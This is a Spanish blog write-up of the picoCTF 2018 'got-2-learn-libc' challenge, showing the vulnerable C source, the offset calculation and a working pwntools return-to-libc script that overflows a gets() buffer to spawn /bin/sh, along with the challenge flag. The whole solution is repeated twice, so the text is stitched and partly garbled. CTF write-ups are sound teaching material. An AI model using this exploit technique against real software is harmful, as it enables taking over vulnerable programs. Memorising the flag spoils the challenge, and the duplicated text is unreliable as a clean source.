En este post pongo la solución a otro de los retos de la categoría 'Binary Exploitation' de la plataforma picoCTF 2018.
El desafío en cuestión, que lleva el título "got-2-learn-libc", presenta en mi opinión un nivel de dificultad medio (★★★☆☆).
- got-2-learn-libc - Points: 250:
Su enunciado dice lo siguiente: 'This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source'.
Se proporcionan dos archivos: un ejecutable (vuln) y un fichero con el código fuente (vuln.c).
Y como pistas ('Hints') se nos dan las siguientes:
- 'try returning to systems calls to leak information'.
- 'don't forget you can always return back to main()'.
Solución: Lo primero que hago es ejecutar el programa; se muestran una serie de direcciones de algunas llamadas al sistema, se me pide que introduzca una cadena, incluyo 'A', se muestra la cadena que he introducido y el programa finaliza:
#include
#include
#include
#include
#include
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
La dirección de la función system() es diferente cada vez, sin embargo la diferencia o desplazamiento entre la dirección de otra función de la librería libc, por ejemplo puts(), y la dirección de system() es siempre la misma por lo que puedo utilizar, por ejemplo, el software gdb para encontrar ambas direcciones y calcular ese desplazamiento.
Desensamblo la función principal (main):
Desensamblo la función vuln:
Pongo un punto de ruptura ('breakpoint') en la última instrucción (vuln+98), ejecuto el programa, introduzco 'A' como cadena, se muestra la cadena que he incluido y el programa se detiene en el punto de ruptura que he puesto, y después obtengo las direcciones de las funciones puts() y system() para calcular la diferencia o desplazamiento entre ambas:
Una vez obtenidas ambas direcciones, puedo ver que el desplazamiento es 0xf7669150 - 0xf7644950 = -149504 (en decimal). Ahora, conocido el desplazamiento, puedo llamar a la función system(), con el argumento /bin/sh, usando un desbordamiento de 'buffer' proporcionado por la llamada a gets y recuperar la 'flag'.
Para tomar el control del flujo del programa y que tras finalizarse la ejecución de la función vuln el programa salte a la función system() actúo de la siguiente manera:
1.- Calculo la diferencia que existe entre la posición de inicio del 'buffer', que tiene 148 bytes de tamaño asignado, y la de inicio de la dirección de retorno de la función vuln, ya que ese será el tamaño en bytes del "relleno" inicial de la cadena a introducir antes de concatenar a la misma la dirección de inicio de la función system().
Para calcular el tamaño del "relleno" inicial de la cadena indicado en el párrafo anterior vuelvo a ejecutar el programa e introduzco una cadena que me pueda indicar que parte de la misma sobrescribe la dirección de retorno de la función vuln y obtener así el tamaño del "relleno" inicial que necesito, por ejemplo: 148 caracteres 'A' (tamaño del 'buffer') + '111122223333...'.
Y veo que la dirección de retorno se ha sobrescrito con cuatro bytes: 0x34343434 (valores hexadecimales que se corresponden en ASCII con '4444'), con lo que el tamaño del "relleno" inicial de la cadena antes de concatenar a la misma la dirección de inicio de la función system(), dirección de la función puts() - desplazamiento, es de 148 +12 = 160 bytes.
2.- Finalmente, creo el siguiente script en python para explotar la vulnerabilidad detectada en el binario:
#!/usr/bin/env python
from pwn import *
s = ssh(host = '2018shell4.picoctf.com', user='usuario', password='contraseña')
s.set_working_directory('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1')
p = s.process('./vuln')
lines = p.recvuntil('Enter a string:').split('\n')
print lines
puts_address = int(lines[2].split(':')[1].strip()[2:], 16)
offset = -149504
useful_string = int(lines[6].split(':')[1].strip()[2:], 16)
log.info('Puts in: 0x{:x}'.format(puts_address))
log.info('Useful string in: 0x{:x}'.format(useful_string))
system_address = puts_address + offset
payload = 'A' * 160 + p32(system_address) + 'A' * 4 + p32(useful_string)
p.sendline(payload)
p.recv()
p.sendline('ls')
p.sendline('cat flag.txt')
p.sendline('exit')
print p.recvall()
Lo ejecuto:
Y puedo ver que la flag es: picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}
El desafío en cuestión, que lleva el título "got-2-learn-libc", presenta en mi opinión un nivel de dificultad medio (★★★☆☆).
- got-2-learn-libc - Points: 250:
Su enunciado dice lo siguiente: 'This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source'.
Se proporcionan dos archivos: un ejecutable (vuln) y un fichero con el código fuente (vuln.c).
Y como pistas ('Hints') se nos dan las siguientes:
- 'try returning to systems calls to leak information'.
- 'don't forget you can always return back to main()'.
Solución: Lo primero que hago es ejecutar el programa; se muestran una serie de direcciones de algunas llamadas al sistema, se me pide que introduzca una cadena, incluyo 'A', se muestra la cadena que he introducido y el programa finaliza:
Después utilizo el comando file para ver qué tipo de ejecutable es vuln y veo que se trata de un binario con formato ELF (Executable and Linkable format) y que la arquitectura es de 32-bit.
Echo ahora un vistazo al código fuente (vuln.c):
#include
#include
#include
#include
#include
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
Visto el programa fuente entiendo que hay que utilizar un ataque 'return-to-libc' para poder usar el código de la función system() de la librería libc para vulnerar el programa. Es decir, mediante un desbordamiento de 'buffer' voy a sobrescribir la dirección de retorno de la función vuln para que apunte a la función system() de libc, a la que llamaré con el argumento /bin/sh, y obtener así una 'shell'.
La dirección de la función system() es diferente cada vez, sin embargo la diferencia o desplazamiento entre la dirección de otra función de la librería libc, por ejemplo puts(), y la dirección de system() es siempre la misma por lo que puedo utilizar, por ejemplo, el software gdb para encontrar ambas direcciones y calcular ese desplazamiento.
Desensamblo la función principal (main):
Desensamblo la función vuln:
Pongo un punto de ruptura ('breakpoint') en la última instrucción (vuln+98), ejecuto el programa, introduzco 'A' como cadena, se muestra la cadena que he incluido y el programa se detiene en el punto de ruptura que he puesto, y después obtengo las direcciones de las funciones puts() y system() para calcular la diferencia o desplazamiento entre ambas:
Una vez obtenidas ambas direcciones, puedo ver que el desplazamiento es 0xf7669150 - 0xf7644950 = -149504 (en decimal). Ahora, conocido el desplazamiento, puedo llamar a la función system(), con el argumento /bin/sh, usando un desbordamiento de 'buffer' proporcionado por la llamada a gets y recuperar la 'flag'.
Para tomar el control del flujo del programa y que tras finalizarse la ejecución de la función vuln el programa salte a la función system() actúo de la siguiente manera:
1.- Calculo la diferencia que existe entre la posición de inicio del 'buffer', que tiene 148 bytes de tamaño asignado, y la de inicio de la dirección de retorno de la función vuln, ya que ese será el tamaño en bytes del "relleno" inicial de la cadena a introducir antes de concatenar a la misma la dirección de inicio de la función system().
Para calcular el tamaño del "relleno" inicial de la cadena indicado en el párrafo anterior vuelvo a ejecutar el programa e introduzco una cadena que me pueda indicar que parte de la misma sobrescribe la dirección de retorno de la función vuln y obtener así el tamaño del "relleno" inicial que necesito, por ejemplo: 148 caracteres 'A' (tamaño del 'buffer') + '111122223333...'.
Y veo que la dirección de retorno se ha sobrescrito con cuatro bytes: 0x34343434 (valores hexadecimales que se corresponden en ASCII con '4444'), con lo que el tamaño del "relleno" inicial de la cadena antes de concatenar a la misma la dirección de inicio de la función system(), dirección de la función puts() - desplazamiento, es de 148 +12 = 160 bytes.
2.- Finalmente, creo el siguiente script en python para explotar la vulnerabilidad detectada en el binario:
#!/usr/bin/env python
from pwn import *
s = ssh(host = '2018shell4.picoctf.com', user='usuario', password='contraseña')
s.set_working_directory('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1')
p = s.process('./vuln')
lines = p.recvuntil('Enter a string:').split('\n')
print lines
puts_address = int(lines[2].split(':')[1].strip()[2:], 16)
offset = -149504
useful_string = int(lines[6].split(':')[1].strip()[2:], 16)
log.info('Puts in: 0x{:x}'.format(puts_address))
log.info('Useful string in: 0x{:x}'.format(useful_string))
system_address = puts_address + offset
payload = 'A' * 160 + p32(system_address) + 'A' * 4 + p32(useful_string)
p.sendline(payload)
p.recv()
p.sendline('ls')
p.sendline('cat flag.txt')
p.sendline('exit')
print p.recvall()
Lo ejecuto:
Y puedo ver que la flag es: picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}
Comentarios
Publicar un comentario